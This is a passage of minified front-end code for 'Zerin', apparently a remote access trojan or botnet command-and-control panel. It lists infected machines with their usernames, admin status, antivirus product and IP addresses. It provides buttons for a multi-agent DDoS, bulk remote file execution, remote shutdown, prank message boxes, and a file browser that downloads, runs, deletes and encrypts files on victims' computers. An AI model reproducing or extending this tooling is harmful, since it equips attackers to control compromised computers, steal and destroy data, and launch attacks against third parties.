gap-1.5",children:[E.label,a.jsx(KU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:Ne.map(E=>a.jsxs("tr",{onClick:()=>H(E),onContextMenu:ce=>se(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:D.has(E.id),onChange:ce=>{G(J=>{const xe=new Set(J);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(xd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Io(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Lo(E.last_seen),children:eu(E.last_seen)})]},E.id))})]})})})]}),D.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>G(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(lS,{agentIds:[...D]})]})}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:F,onChange:E=>U(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:V,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(F.trim()){ue(!0),ye(null);try{const E=[F.trim()];V.trim()&&V.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...D].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=D.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:ae||!F.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[ae?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(b_,{x:h.x,y:h.y,visible:h.visible,onAction:W,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(Dj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(j_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(GU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await n6(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:O,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:T,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{T.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function ic({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function KU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function GU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Io(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:Ij(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:no(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Lo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:eu(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(BU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const YU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},qU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},XU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function ZU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${YU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${XU[s.type]} select-none`,children:qU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),O=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const V=ae=>{ae.button!==2&&S.current&&!S.current.contains(ae.target)&&h(null)},Z=ae=>{ae.key==="Escape"&&h(null)};return document.addEventListener("mousedown",V),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",V),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var V;return(V=O.current)==null?void 0:V.focus()},50)},[y]);const A=m.useCallback(V=>new Promise((Z,ae)=>{let ue=0;const be=30,ye=setInterval(async()=>{var q;ue++;try{const C=(q=(await Xn(e)).results)==null?void 0:q.find(Y=>Y.task_id===V);C?(clearInterval(ye),C.error?ae(new Error(C.error)):Z({output:C.output,data:C.data})):ue>=be&&(clearInterval(ye),ae(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=m.useCallback(async V=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[V]});r(V),f(!0);let ae=0;const ue=30;z.current=setInterval(async()=>{var be;ae++;try{const q=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(q){if(z.current&&clearInterval(z.current),z.current=null,l(!1),q.error){u(q.error);return}if(q.output){const te=q.output.split(` +`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const ne=Y.substring(0,12).trim(),B=Y.substring(13,33).trim();let le=Y.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else ae>=ue&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=V=>{if(V.name.includes("..")||V.name.includes("/")||V.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+V.name},D=V=>{N(V),setTimeout(()=>N(""),5e3)},G=async V=>{h(null),g("download"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"download",args:[Z]}),ue=await A(ae);if(ue.data){let be;try{be=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let Y=0;Y{h(null),g("delete"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"delete",args:[Z]});await A(ae),D(`Deleted ${V.name}`),T(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},K=async(V,Z,ae)=>{v(null),w(""),g(V),u(""),N("");try{const ue=P(Z),{task_id:be}=await Me(e,{command:V,args:[ue,ae]}),ye=await A(be);D(ye.output||`${V==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),T(n)}catch(ue){u(ue instanceof Error?ue.message:`${V} failed`)}finally{g(null)}},_=async V=>{h(null),g("execute"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"execute",args:[Z]}),ue=await A(ae);D(ue.output||`Executed ${V.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},M=(V,Z)=>{V.preventDefault(),V.stopPropagation();const ae=180,ue=220;let be=V.clientX,ye=V.clientY;be+ae>window.innerWidth&&(be=window.innerWidth-ae-8),ye+ue>window.innerHeight&&(ye=window.innerHeight-ue-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},F=()=>{!y||!b.trim()||K(y.action,y.entry,b)},U=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:V=>{V.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),U.map((V,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const ae=U.slice(0,Z+1).join("\\")+"\\";T(ae)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:V})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>T(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(V=>a.jsxs("button",{onClick:()=>{if(V.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Z+V.name)}},onContextMenu:Z=>M(Z,V),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:V.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:V.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:V.name})]},V.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>G(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>_(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 